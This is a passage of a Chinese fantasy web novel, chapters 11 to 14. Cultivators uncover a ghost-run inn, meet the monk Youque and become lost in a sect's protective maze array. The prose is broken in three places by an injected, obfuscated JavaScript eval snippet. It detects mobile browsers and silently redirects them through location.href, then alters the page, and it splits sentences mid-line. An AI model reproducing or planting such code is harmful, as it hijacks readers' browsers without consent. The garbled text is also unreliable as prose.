放寒山摩挲下颌:“一个实力深不可测的魔族和一个戴着面具的年轻男人,不得不让人多想啊。” 幻幻睁大眼睛:“你是说暗河就是任流白?那他为什么不回玄隐门?为什么要化名暗河与一个魔族待在一起?” “这只是我的猜测,再说我本来就觉得李恕可疑,今天在这里碰见他们,简直是冥冥之中自有天意。” 放寒山想的很明白,玄隐门只要他找到任流白,又没让他把人带回去。他只要找个机会揭了暗河的面具,确定他的身份即可。 幻幻觉得他说的有道理,又实在咽不下这口气,凶巴巴道:“我不管,反正我要睡床。” 放寒山大手一挥:“睡什么睡?今晚别想睡了。” 另一边,李恕白得一个干净整洁的房间,偶遇放寒山的不爽少了几分,横竖今夜不可能安心休息,干脆拿出储水符盛满浴桶,泡澡放松一下。 暗河道提醒她:“这是凉水。” 李恕脱了外袍,抬手去扯腰带:“我知道,我喜欢凉水。” 眼看着李恕雪白的中衣领口露了出来,暗河赶紧避开目光:“那我先出去了。” “这么见外干嘛,我们不是都睡过了吗?” 李恕不以为意,她越是这么说,暗河越是落荒而逃:“我去帮你守门。” “有什么好守的?你在屋里才好保护我啊。” “不行。”暗河紧盯脚尖冲到门边,不忘补充一句:“放统领在这里……”他有偷窥前科。 房门关上,李恕沉入浴桶,任由冷水漫过胸口。她的皮肤很白,是不同于暗河的白。暗河看起来是暖的,李恕看起来却是冷的。她那截修长的脖颈上,缠着一条漆黑如墨的蛇形纹身。 李恕不觉得冷,这种温度对她来说不值一提。闭眼放空良久,李恕从储物袋中取出一把长剑。 此剑形状古朴,剑身修长,入手颇为沉重,剑柄上刻着“扶风”二字,实属一把不可多得的灵剑。 “嘻嘻嘻。”寂静的房间里忽然想起突兀的笑声,李恕好像没听见一样,只盯着自己映在剑身上的眼睛。 “你真坏呀,把人家骗得团团转,被你卖了还要帮你数钱。”声音又响了起来,明明房里除了李恕再没有第二个人。仔细一看,她颈上的黑蛇纹身竟然活了过来,翘起脑袋贴上她的面颊。 “你把人家的剑据为己有,害得人家只能用木头做的剑。” 黑蛇接二连三开口说话,终于惹得李恕不快:“闭嘴。” “为什么要我闭嘴?别人又听不见我的声音。咱们在一起这么多年了,你心里想什么我还不知道吗?你趁着人家失忆,骗人家留在你身边,好让你弄清楚他为什么没死对吧?” 李恕没说话,黑蛇嘶嘶吐着信子,绕着她转了一圈,亲昵地贴近她的耳朵:“死心吧,你现在的命是我给的,你这辈子都别想甩开我!” “闭嘴!”雪亮的剑锋上,李恕的眸子骤然变绿,宛如两团跳动的幽冥之火。 黑蛇受到震慑,再次化为纹身回到李恕颈上,房里终于安静了。 11. 有鬼 收好扶风剑,李恕起身穿衣,紧窄的衣领再次遮住脖颈,那双眼睛褪去幽绿之后又是一副黑白分明的模样,风流且清冽。 拉开房门,暗河果然抱剑站在门口,李恕拍拍他的肩膀:“走吧。” “去哪里?” “偷窥。” “什么?” 暗河被“偷窥”俩字砸得发愣,李恕已经走到隔壁房间伸手戳破了窗户纸。屋内一片漆黑,李恕看了半天:“这间没人。” 下一间房同样漆黑无声,不过李恕依稀看见榻上坐着一道人影。老板说那群和尚每人要了两间房,想必这就是了。 暗河汗颜,这个法子简单粗暴,有用是有用,但是被人发现就尴尬了。说什么来什么,放寒山从房间探出半个脑袋,明知故问:“两位仙师这是在做什么?” 不等两人回答,放寒山已经回答了自己:“我知道了,你们在偷窥——加我一个。” 放寒山不请自来,在窗户上戳出另一个洞趴上去。李恕不想理他,只管看自己的。 榻上的人盘膝端坐,身姿极正,即便看不清面容,仍旧隐隐透出一股凛然不可侵犯之感。总之就是看起来不像坏人。 李恕继续查看其他房间,发现这些和尚分布还挺有规律,空一间住一间,个个都是打坐的姿态。 “我好像知道他们是谁了。”放寒山若有所思,顺手又戳破一扇窗户,“不确定,再看看。” “唰!”一道黄符正从孔中射出,深深钉在走廊墙上,房内响起平静无波的声音:“施主若是有事,不妨直接推门进来。” 岂有此理又是这招,难道我长得很像靶子?放寒山暗自腹诽,同时也确定了他的猜测:“他们没问题,我们走吧,要是惹得他们出来发现客栈里有魔就不好收场了。” 李恕反唇相讥:“你在说你自己吗?” 放寒山耸了耸肩,三人摸到后厨,破烂的房间里正吵得热闹,声音有粗有细,有高有低,还夹杂着一些吧唧吧唧的吮咂。 老板一拍桌子:“都闭嘴,烦死了!要是把楼上的人吵醒了你们都得死。” 吵嚷声被这一巴掌拍停了,其中一个粗嗓子不服气:“明明你的声音最大。” “你们不说话我能声音大?” “好了好了不要吵了。”细嗓子出来拉架,“我们还是想想现在怎么办吧。” 老板想到这事儿就头疼:“你们先躲着吧,等天亮他们走了就好了。” 粗嗓子又问:“要是他们不走怎么办?我们总不能一直躲着。” “你问我我问谁?” “那我让你给他们下点药,你又不肯。” 老板一听更生气了:“下个屁,我这是正经店!” 还是细嗓子出来打圆场:“那群人都不简单,下药对他们也不一定有用,还是再想想别的办法吧。” 空气沉默了,过了好一会儿才有一个哑嗓子开口:“要不找个人把他们引开?” 粗嗓子冷嘲热讽:“说的轻巧,谁去?叫他们抓住肯定打个半死。” 闻言吧唧吧唧的声音忽然停了,怪笑一声:“你不是已经全死了吗?” 粗嗓子暴怒:“用你多嘴,滚一边儿去!你啃的那东西恶心死了,要不是你把血水流到桌上,他们也不一定会发现我们。” 吧唧声不以为意,蹲到门边继续啃。李恕就站在门外,听见那人又吸又舔,仿佛在吃世间最美味的东西。 屋内的人又吵了一会儿,不得不承认哑嗓子说的好像是唯一能行的办法,但是谁去做诱饵呢?这时粗嗓子的位置变了,走到角落:“你们里面有没有跑得快的?” “他跑得快,你看他的两条腿多长!” “那你去引开他们?我给你打八折。” 被指到的长腿一个劲摇头:“不行不行,我腿长但我胆子小,一看见他们我就腿软。” 细嗓子也走了过来:“有没有跑得快胆子又大的?” 又有一人被推了出来:“他!他以前是马夫!” 粗嗓子道:“你去引开他们,我给你打六折。” “不去。” 细嗓子道:“给你免单。” “不去。” 粗嗓子怒了:“免单你都不去,你脑子进水了吗?” 马夫呵呵两声:“就是因为我脑子没进水,所以我才不去,谁不知道这是送死的差事。” “……” 粗嗓子压着怒火:“有没有跑得快、胆子大、脑子又进水的人去引开他们?” 这次沉默的时间更久,最后还真有一人被默默孤立出来。那是一个身高腿长的年轻男人,长发卷曲五官深邃,脖子上挂着一块半月形玉佩,面容颇具异域风情。只是他的眼神懵懵懂懂,与长相严重不符,确实像是……脑子进水了。 粗嗓子半信半疑:“你能去引开那群臭和尚、臭修士?” “我?”卷发男人睁大眼睛。 粗嗓子一看他这副样子就觉得没戏了,没想到卷发男人真的答应下来:“好。” 这下粗嗓子反倒不好意思了,他觉得自己在欺负傻子。 与卷发男人呆在一起的人七嘴八舌道:“你别看他傻傻的,他可厉害了,我们这一路都是跟着他才平安无事的。” “那好吧,靠你了。”反正事到如今只能死马当活马医。 计划敲定之后,一群人凑在一起,商量怎么行动成功率最大。 老板道:“那群和尚虽然人多,但是都很有礼貌,而且出家人慈悲为怀,肯定不会乱杀生,他们应该不是最危险的。黑衣女人看起来也很有礼貌,可是她笑得特别假,我估计是个心狠手辣的。” “哈哈。”门外放寒山无声大笑,对着李恕做口型,“说你呢。” 门内老板还在继续分析:“跟黑衣女人在一起的白衣男人看起来就友善多了,我觉得他也不会对我们动手。” 细嗓子不太认同:“他跟黑衣女人是一伙的。” “是又如何?你没看见他的眼睛,温柔得能滴出水来,绝对不可能是坏人。” 李恕弯了一下嘴角,偏头去看暗河,可惜天色太暗不能看见他的脸红了没有。 细嗓子反驳无用:“好吧……那个孔雀男呢?” 放寒山把龇着的牙收了回去,孔雀男……是谁?李恕原样奉回,也对着他做口型:“说你呢。” 老板想了想:“应该也不会太心狠吧?毕竟他是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107636|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个当爹的人,孩子漂亮乖巧,在孩子面前总不能太暴力。” “好,那就这样决定了,最危险的是那个黑衣女人,到时候你就这样引开她……” 后面的话放寒山已经没心思听了,当爹?谁的爹?幻幻吗?他怎么可能有一个十几岁的孩子!放寒山勃然大怒,一把推开房门:“我才不是当爹的人!” “……” 屋里的讨论声戛然而止,一张张震惊的脸转向门口,紧接着齐刷刷发出尖叫:“啊!!!” 李恕本想等他们说完后再动手,既然放寒山提前跳了出来,那就直接动手吧。三个修士打一屋子孤魂野鬼,没错,就是孤魂野鬼,根本不用费什么功夫,很快就结束了战斗。 “等等!”老板脸色发白拦住李恕,“别打了,他们生前不知道是不是好人,但死了都是好鬼,绝对没害过人!” “没害过人?”李恕看向脚下吧唧嘴的男鬼,他一直叼在嘴里嗦来嗦去的东西不是什么山珍海味,而是一只瘦骨嶙峋的人手,正在滴滴答答流着血水。 男鬼舔舔嘴唇,意犹未尽地咽了口唾沫:“我没害人,这是、这是我自己的手!” 他左边衣袖空空荡荡,确实少了条胳膊。 老板扶住额头,心力交瘁:“他是被活活饿死的,哪怕变成了鬼不用再吃东西,还是一闻见肉味儿就发疯,最后硬是把自己的尸体啃了。” “那他们呢?”屋里横七竖八躺着各种各样的鬼,高矮胖瘦各不相同,聚在这间客栈怎么看怎么可疑。 小鬼们心知逃脱无望,不敢欺瞒李恕,老老实实向她介绍自己的死因。 粗嗓子道:“我生前是个猎人,进山打猎时掉进别人设的陷阱死了。” 细嗓子道:“我是个书生,本来活得好好的,结果被凶手错当成仇人捅死了。” 哑嗓子道:“我是救人被淹死的……” 李恕多看了一眼哑嗓子,见他披头散发,浑身湿淋淋的,估计就是那个帮老板打水的鬼。 暗河问道:“诸位的遭遇令人遗憾,只是阴阳有别,人间毕竟不是久留之地,为何不入轮回?” 老板道:“仙师说得对,我们店就是做这个的。” 常言道落叶归根,但世上却有许多漂泊在外的人,到死也没能回到家乡。这家客栈处在阴阳交界之地,接待的不是人,而是孤魂野鬼,只为帮他们找到回家的路,了却心愿再入轮回。 老板指着三鬼:“他们都是死了多年的老鬼,回家的希望越来越渺茫,干脆留在店里给我打了下手。至于其他的鬼则是才赶过来的,有的缺胳膊少腿,有的身体太弱经不起奔波,还有的记忆残缺什么都不记得……反正就是这样那样的原因。” 老板说完之后,有些鬼被触动伤心事,咿咿哑哑地哭了起来,哭声那叫一个难听,真可谓鬼哭狼嚎。 李恕放开脚下踩的饿死鬼:“既然你不接待活人,就不该让客栈显形误导活人进入。” 老板大喊冤枉:“我没有啊,我也不知道今天怎么回事,你们这群人一个接一个非要进来,我都怀疑是不是这群小鬼里面有什么不得了的人物!” 话音落下,小鬼中忽然跃起一道身影,一掌拍向李恕! 12. 青石 跳起来的是卷发男鬼,他那一掌排山倒海气势惊人,暗河提剑欲挡,谁知卷发男鬼的手擦着李恕闪过,将半扇房门打得稀烂,大叫一声“来追我啊”,然后头也不回地跑了…… 一屋子鬼大眼瞪小眼。 “这都能打歪?” “不是打歪了,是他本来就想跑吧。” “跑什么?他不是想让老板帮他找人吗?” 细嗓子冤死鬼福至心灵:“可能他还在执行刚才的计划,准备引开黑衣女、仙师。” “……” 群鬼心头一阵无语,其中一个嘎嘎乐道:“看吧,我就说他跑得快、胆子大、脑子又不好使。” 卷发男鬼身手了得,李恕摸不准他是真傻还是装傻,问老板:“他是谁?” “他是才来的,不知道死前遭遇了什么,连自己的名字都不记得!” 暗河心头一动:“他失忆了?” “对啊。”群鬼早就觉得卷发男鬼很奇怪,叽叽喳喳附和:“我们是在路上碰见他的,跟他说话他也不理,一开始还以为他看不起咱们呢,后来他从一个臭修士,啊不是,从一个‘热心’修士手中救了我们,我们觉得他这个鬼还不错,就让他跟着一起来客栈了。” 另有一鬼补充道:“有时候我会听见他小声嘀咕‘十七’‘十七’,我问他‘十七’是什么意思他也不知道。” 群鬼带卷发男鬼来客栈,就是希望老板能帮帮他,但是现在卷发男鬼跑没影了,也不知道他会不会再回来。群鬼互相指责了一番,最后一致认为都怪李恕等人横插进来。 李恕歪了歪头:“嗯?” 群鬼缩起脖子,继续互相指责对方。 事情已经明了,剩下的交给老板解决就好。李恕回归最初进入客栈的目的,叫上暗河:“走了,回去休息。”快到子夜,现在回去还能睡上一觉。 老板长舒口气:“我送几位仙师上楼,哎呀今晚可把我累坏了,我还以为你们跟其他修士一样,见了孤魂野鬼要么不屑一顾,要么直接打死。” 放寒山啧啧道:“怎么会呢,毕竟当着、孩子、的面、不能太暴力。” 他的断句断的阴阳怪气,老板讪笑两声,一行人刚上楼梯,忽然听见后厨爆出尖叫:“救命啊,杀鬼啦!” 李恕反应奇快,叫声才响她便纵身跃下楼梯,和拼命逃到大堂的群鬼打了照面,一群乱糟糟的鬼影里面,竟然有好几个都是缺胳膊少腿的,可是方才他们明明还好好的。 “仙师救命!他发疯了!” 李恕扣住一道灵力,逆着鬼流进入后厨,只见水鬼躺在地上,已经被咬断了脖子。 饿死鬼两眼通红,抓住水鬼疯狂啃噬,地上还躺着几条残肢断臂,都是从其他小鬼身上扯下来的。他已经被怨气侵蚀丧失理智,留不得了。 李恕眸光微沉,饿死鬼感觉敏锐,撇开水鬼向她扑来,反被紧随而至的暗河用剑荡开。一击不成,饿死鬼返身跳了回去,抄起一截断肢送进嘴里,嘎吱嘎吱嚼了起来。 放寒山起了一层鸡皮疙瘩:“鬼吃鬼,这只饿死鬼凶得很呐。若是让他再多吃几只,恐怕就不好对付了。” 说到这里,放寒山话锋一转,悠悠问道:“李仙师打算如何解决他呢?” “杀了。” 李恕吐出简短二字,暗河只用木剑格挡饿死鬼的攻击,并不伤他要害,追问了一句:“他已经没救了吗?” “是的。”生了怨气注定要成厉鬼,不杀他,他就会一直作恶。暗河不再多言,原本刚柔并济的剑势陡然凌厉,刺向饿死鬼的眉心。 “施主且慢。”一道灵力打在木剑之上,而后竟然如同蛛丝一般黏住剑身,将暗河刺出去的木剑硬生生拉了回来。 后厨门口不知何时多了一个身披袈裟的和尚,面容沉静,看不出具体年岁。他的手上缠着一串佛珠,向李恕几人合掌行了一礼,声音一如他的样貌那般温和:“还请施主手下留情,将这鬼交予贫僧处理。” 放寒山还了一礼:“晚辈捕星司放寒山,见过有缺大师。” 纵使李恕不认识有缺本人,也听过他的大名,正是五大宗门里的青石寺主持,难怪放寒山察觉出他们的身份后笃定他们没有问题。 有缺道:“放施主不必拘礼,晏掌司可好?” “一切都好。”放寒山在有缺面前十分规矩,问道,“大师怎么会在这里?若是大师愿意出手超度这只饿死鬼,或许他还能有一丝重入轮回的机会。” “我与寺中弟子外出办事路过此地,看见这座处在阴阳交界的客栈时隐时现,因不知其危险与否,又担心行人误入其中,故而带着弟子进来查看情况。我本想定下所有房间避免后来人入住,不想放施主先我一步来了。” 说话间,青石寺弟子已经把发了狂的饿死鬼拿下,取出法器将其围住,做法超度。 听着两人说话,李恕将情况猜了七七八八。多半是放寒山因为某些原因最先发现了这座隐形客栈,非要进来探个究竟。他阳气重,进来后客栈受到影响时隐时现,又吸引了路过的有缺一行人。这么多大活人接连住进来,客栈终于坚持不住彻底显形,最终把李恕与暗河两人也吸引进来了。 听见后厨的声音平息了,老板与一群大鬼小鬼鼓起勇气张望。有缺神色温和,并无任何轻蔑之感,反而向老板颔首示意。 老板这才放松下来,看着被青石寺和尚围在中间的饿死鬼,心有余悸道:“他怎么会突然变成这样?” “子夜时分阴气最盛,他又啃食了血肉,两相作用激发了他枉死的怨气。” 粗嗓子拍拍胸口:“服了,我都让他别啃了,非不听,这下好了。” 细嗓子被咬伤了肩膀,他顾不得痛,抱起已经身首异处的水鬼:“大师,他还有救吗?” 有缺摇头,细嗓子有点伤心:“唉,他都是为了救我,要不是他在紧急关头推开我,被咬掉脑袋的就是我了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107637|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。不过也好,他总算可以解脱了……”青石寺佛法高深,寺中弟子皆以普渡众生为己任,能得到他们超度,也算是生前积了阴德。 老板默默叹息一声,招呼群鬼有伤的去养伤,没伤的打扫卫生。客栈被这么一折腾,简直乱的没法看了,暗河主动加入其中帮忙。 有缺叫住老板:“施主经营这家客栈多久了。” “大概七八年了。” “终日与鬼为伍,恐会折损寿命。” 老板是个活人,如此想来,她说客栈里只有她一个人也没错。 老板笑了笑:“我小时候就能看见鬼,别人都看不见,以为我是疯子,等到他们发现真的有鬼又把我当成怪物。很久之后我才知道,原来我天生阴命,走到哪里都会吸引鬼,所以那些和我在一起的人总被吓到。一开始我很难受,现在不会了,鬼看多了也就那样,没什么吓人的。至于阳寿什么的我并不是很在意,反正多活两年也成不了仙。” “施主心胸豁达,令人佩服。”有缺取下手上佛珠递给老板,“贫僧这串珠子算不得什么宝物,不过还请施主收下,可替施主挡一挡阴气侵蚀。” “给我?”老板又惊又喜,这佛珠既然是有缺的随身之物,定然日日浸润佛法,珍贵无比,竟然就这么给她了,“谢谢大师!” 其他小鬼眼馋的不行:“大师有没有东西送我们啊?” 老板把佛珠戴好,顿觉神清气爽:“送你上路行不行,还能和饿死鬼做个伴。” 小鬼吐吐舌头:“那算了,我还要回家见我爹娘最后一面呢。” 李恕退出人群,回到二楼房间,不一会儿有人敲门,是暗河。 “我在楼下没看见你,你果然回来了。” 李恕合衣歪在床上,双臂枕在脑后,右腿压在左腿上轻轻晃动,闻言嗯了一声。 “你很累吗?怎么不上床休息?” “这不是在等你么。”李恕支起身子,用手撑在颊边,“现在你回来了,我们终于可以办正事了。” 榻上的人眉眼含笑,意味不明,细腰塌下去柔软的弧度。暗河品出李恕话里的意思,热意猛地爬上耳根。 “这样、不合适。” “为什么?” 这些天两人常在夜里共处一室,却是一个睡床一个睡地,从来不曾逾矩半分。 暗河道:“上次犯错我已后悔至极,如今绝不会再犯。” 李恕早看出来了,暗河虽然表面上接受了他与自己私奔的事,但心里一直过不去,别说同床共枕,拉拉小手他都不会做的。若非如此,李恕也不会肆无忌惮地调戏他。 “什么犯错?”李恕故作惊讶,轻巧地翻身下床,“我说的正事是我们该走了,你说的是?” 暗河愣在当场,耳根彻底烫了起来:“没、没事!” 李恕坏心得逞,推开窗户,窗外夜色正浓,犹如化不开的墨水,正是最合适的掩护。 “走。” 13. 难缠 天蒙蒙亮,空气中飘着稀薄的雾气,两人路过一个小村落,远远看见村口大石上坐着一人。李恕眉头一皱,那人已经转过身来遥遥挥手:“这么巧啊,又见面了。” 放寒山站起身,扯了一把躲在他身后的幻幻,迎着两人走过去:“不知李仙师星夜离开要去何处?” 李恕冷冷看他,放寒山嘻嘻笑道:“打住,我知道你想说什么,但是我可没有跟踪你,路在脚下自然是谁都能走。” ——才怪!有缺大师德高望重,又与捕星司掌司宴时萋是旧交,放寒山自然不能置之不理。谁知道就这么一晃神的功夫,李居然恕又带着暗河跑了,真是岂有此理!放寒山紧赶慢赶,故意等在两人前面现身,这才终于觉得找回一点场子。 李恕自动忽略他的狡辩:“你跟着我究竟有什么目的?” 放寒山摸摸下巴:“干嘛说的这么见外?咱们谁跟谁啊,一起走呗。” “陌生人和陌生人。” 放寒山看向暗河:“你同意吗?” 暗河摇头:“我们不算陌生人。” 放寒山十分得意,暗河又道:“不过你也不该跟踪我们。” “……” 李恕越过放寒山:“我不管你有什么目的,离我远点儿。” 去幽兰古国有两条路:一条山高路远道阻且长;一条只有山高——直接从赤霞派穿过去。若是有缺那般身份,自然能够与赤霞派打个商量借道而过,李恕这般就不行了,只能绕路。 日头高升,路上行人渐渐多了起来,李恕与暗河并肩而行,一黑一白各有风姿,吸引了不少目光。 两人身后放寒山与幻幻不紧不慢跟着,每当暗河回头,放寒山就挥手打招呼,而当李恕回头看时,放寒山便一本正经地比划两人之间的距离:“仙师明鉴,我已经离你远——点儿了。” 幻幻的白眼快要翻上头顶:“她抽你的时候我一定会第一时间跟你划清界限。” 放寒山道:“你放心,我会拉上你的。” 几人就用这么奇怪的队形抵达了赤霞派山脚下的小镇。李恕走进路边茶摊,伙计见了她精神一振,赶紧将桌椅多擦几遍才邀两人坐下。 “客官喝点儿什么?本店的碧螺春乃是一绝,配上我们的招牌茶点,保管您吃了还想吃。” 李恕点头:“好,就按你说的来。” 放寒山悠悠走到对面茶摊坐下,隔空指向李恕那桌:“我要跟他们一样的。” 伙计嘴角抽了抽,怀疑放寒山是来挑事的:“那又不是我们店的招牌。” 幻幻看不下去了,按住放寒山:“别理他,随便上吧,都行。” 隔壁李恕喝了茶,由衷赞道:“口感甘醇,回味悠长,果然是好茶。” 伙计满面笑容:“那是,要是味道不好我们店怎么可能开那么多年?实力才是硬道理!” “说的对啊。”李恕深表认同,拉开椅子示意伙计坐下,“你们一直都在这里,对山上的赤霞派应该很了解吧。” 左右现在客人不算多,伙计也就大大方方坐下了:“不敢说很了解,但也是了解一点的。怎么,两位客官对赤霞派有兴趣?” “是啊,我想知道怎么才能进去。” “进去?不可能不可能。”伙计连连摆手,再次从头到脚把两人打量了一遍,“恕我直言,两位不是五大宗门的人吧?” “确实不是。” “我就知道,你们要是的话,让自己的宗门打个招呼,自然有赤霞派的弟子下来接你们上山,否则有护山大阵在谁也别想踏进赤霞派的地界。” 李恕十分捧场:“这要怎么说呢?” “客观您想,赤霞派最出名的是什么?没错,法阵。他们在山上开宗立派,设了一座巨大无比的法阵,将整座山都罩了起来,本门弟子可凭通行令上山,没有通行令的人则会像进了迷宫一样,任你长着一双铁腿也走不出去。” 说到这里,伙计略微压低声音:“我在这里开店,见过不少人贸然上山,却没见过几个人下山,不是因为他们成功找到赤霞派了,而是在山里活活被困死了!” “真有这么吓人?”李恕不太相信,冷不防抬手搭住暗河的肩膀,眨了眨眼,“我相公可是很厉害的,难道不能破了此阵?” “啊?哈哈哈……”伙计没忍住笑了起来,发现暗河有些窘迫,赶紧解释,“我不是在笑您,我相信您很厉害,但我还是建议最好不要这么做。” “为什么?” 伙计清清嗓子,端正神色:“因为从前也有人想这么做,最后他被护山大阵射出的冰锥扎成了刺猬。” 赤霞派的护山大阵不仅可以防,更可以攻。只要法阵受到攻击就会自动凝出冰锥,射向闯阵的人。伙计没有亲眼见过,但是据说那冰锥极寒无比,仿佛是从冥界中射出来的,阎王见了都要抖三抖。 李恕拖长声音哦了一声,放开暗河:“那还是算了,我可舍不得我相公变成刺猬。” 伙计又笑了起来:“话说两位去赤霞派做什么?我看两位也不像是要上山拜师学艺的。” 李恕叹了口气,撇了个眼神到对面:“你看见那个带孩子的男人了吗?” “看见了,怎么了?” “他在跟踪我们。” 伙计吃了一惊:“为什么?” 李恕无奈道:“因为他老婆跟人跑了,孩子也不是亲生的,所以心理扭曲,疯狂嫉妒我们这对恩爱的小夫妻。我们当着孩子的面不好对他动手,就想去赤霞派避避风头,他肯定不敢对赤霞派发疯。” 伙计啧了一声,转过头,看见放寒山从幻幻手中抢走茶点,幻幻大怒:“盘子里不是还有吗?” 放寒山咬了一口:“对啊,你再从盘子里拿不就好了。” “这可真是……”伙计的目光复杂起来。 饮罢茶水,李恕告别伙计:“多谢你的提醒,我们还是决定去碰碰运气,也许能遇见回宗门的赤霞派弟子好心带我们进去。” “那、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107638|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那我就祝两位好运啦,如果你们再来小店喝茶,我送你们一盘茶点!” 伙计挥挥手送走两人,一转头发现放寒山站在他身后,两眼直勾勾地盯着李恕的背影。 “我的妈呀!”伙计差点跳起来。 放寒山勾唇一笑,亲热地攀住伙计肩膀和他套近乎:“她刚才跟你说了什么?” 看来李恕说的不假,这人还真是阴魂不散。伙计虽然同情放寒山的遭遇,但是一想到他的所作所为就同情不起来了。“你打听这个做什么?这是客人的隐私,我能随便说吗?” 放寒山觉得事情不简单,李恕肯定问了什么重要的事,还特意交代伙计不要乱说,于是摸出一锭银子塞给伙计:“那两个人有问题,我已经跟踪他们许久了,你告诉我不算泄露客人隐私,算正义路人。” 神经!和李恕说的一模一样!伙计觉得放寒山在用钱侮辱他,他是那种见钱眼开的人吗? 恰在此时幻幻吃完最后一块茶点,心满意足走了过来。伙计见他生得漂亮乖巧,招人喜欢,不好当着幻幻的面骂放寒山,好心劝道:“你说你一个当爹的人,怎么不知道给孩子做好榜样?这么大的孩子正是需要教导的时候。” 放寒山一头雾水:“?” 放寒山反应过来很生气:“我不是他爹!” 伙计拍拍他的肩膀,甚是苦口婆心:“你还是接受不了现实吗?坚强起来,真男人是不会在乎这点小事的,只要你把他当你的孩子他就是你的孩子。” 放寒山:“……” 山路寂静,宽阔平整的石阶从脚下蜿蜒而上,两侧绿树成荫,时不时传出一两声鸟鸣。 李恕不知从哪里摘了一只红彤彤的浆果,拿在手里抛来抛去,暗河的视线不自觉跟着浆果上下翻飞:“你想从赤霞派穿过去,走捷径抵达幽兰古国?” “有什么问题吗?” 有的。且不说赤霞派同不同意,光是这个护山大阵就是眼前最大的问题。 李恕毫不在意:“别担心嘛,说不定我们真的能碰见好心人呢。” 仿佛是为了证明李恕的话,她刚说完,前方便模模糊糊传来说话的声音。 两人抬头,望见几片鲜艳的红色衣角,正是赤霞派的弟子服,不远处有一行人队形整齐,似乎正在巡山。 “你看,这不就来了。”李恕收起浆果去追那几名赤霞派弟子,奇怪的是明明彼此之间离的不远,可是无论李恕怎么加快速度,双方始终隔着一段不远不近的距离,让她能够听见声音、看见人影,却一直不能追上。 “等等,好像有些不对。”暗河停下脚步,不动声色挡在李恕身前。他脚下的石阶有一块三角形的缺口,左边的树上有一点烧灼的痕迹,这些迹象都表明…… “这个地方我们不是已经走过了吗?” 山道还是那条山道,绿荫还是那片绿荫,然而就在暗河说完话后,周围的温度猛地降了几分,茂密的树丛中似乎缓缓张开了无数只眼睛,紧紧盯着两人。 14. 破阵 原来他们早已不知不觉间迷失了方向,一直在原地打转。那几名巡山的赤霞派弟子根本不是真人,而是吸引他们落入陷阱的幻影。 暗河拔出木剑,在地上刻下箭头标注方向,又抓住李恕的手腕:“从现在开始,我们绝对不能分开。” 李恕反握住他的手晃了晃,笑得眉眼弯弯:“好啊,我本来也没想和你分开。” 暗河严肃的情绪被搅乱几分:“我不是这个意思。” 李恕眨眨眼睛:“那你是什么意思?” “我……”暗河在客栈时被套路过,分不清李恕是不是又在捉弄他,最后只好嗯了一声,权当两人是一个意思。 察觉到自己身处迷阵后,眼前的景色似乎都开始不对劲了。不知过了多久天色完全暗了下来,李恕仰头盯着星空:“你觉得这是假象吗?” 暗河无法确定,也许他们对时间的感知也是紊乱的。 “你有什么头绪破解此阵吗?” “没有。” “我也没有。”李恕找了一个还算宽敞地方,取出两张火符丢在地上,燃起一团火焰,“事已至此先吃饭吧。”她备了不少干粮,就算被困十天半月也饿不死。 暗河在她身边坐下:“你说的对,我们现在应该保存体力。车到山前必有路,越是这种时候越要冷静,我相信最后一定能找到出去的办法。” 李恕忍俊不禁:“我什么时候说过后面那些话?” “你没说,但我明白你的意思。” 李恕实在是笑得不行,如果不是因为她知道自己接下来想做什么,她简直都要相信自己真是一个聪明勇敢的大好人了。 火符热烈地烧着,李恕有滋有味吃完干粮,那只红彤彤的浆果被她拿在手中转了几圈,还是没吃,又收了回去。 夜间的迷阵比白日更加危险,鸟鸣早已消失不见,取而代之的是各式各样奇怪的声音,厉鬼的嚎叫、野兽的低吼、杂乱的脚步……交织在一起不停敲打人的耳膜,令人无法静心思考。 “沙沙,沙沙。” 李恕盯住一片晃动的树丛,声音是从那里传出来的,并且还在不断接近。 “沙沙,沙沙。” 树丛被压了下去,一只三角脑袋探了出来,长得像猪又像狗,脑门光秃秃的,两只黑黝黝的小眼睛闪着精光,死死盯着暗河手中剩下的半块馅饼,口涎滴滴答答流了一地。 “你想吃这个?”暗河试探着举起手,三角脑袋的小眼睛顿时大了一圈,猛地扑出树丛,后面竟是一个巨大无比的身体,像座小山扎向暗河怀里。 那么小的头怎么会有那么大的身体?李恕来不及多想,抢过暗河的馅饼扔了出去。三角脑袋四肢往地上一按,直接从两人头上飞了过去,一口咬住馅饼,滚进黑暗之中消失不见了。 李恕扇了扇三角脑袋带起的飞灰:“下次不要胡乱投喂野生动物了好吗。” 暗河汗颜:“好的。” “沙沙,沙沙。”没过多久树丛又响了起来,而且还夹杂着一点似有若无的呻Ⅰ吟。 暗河握紧剑柄,该不会又把什么野兽吸引来了吧? 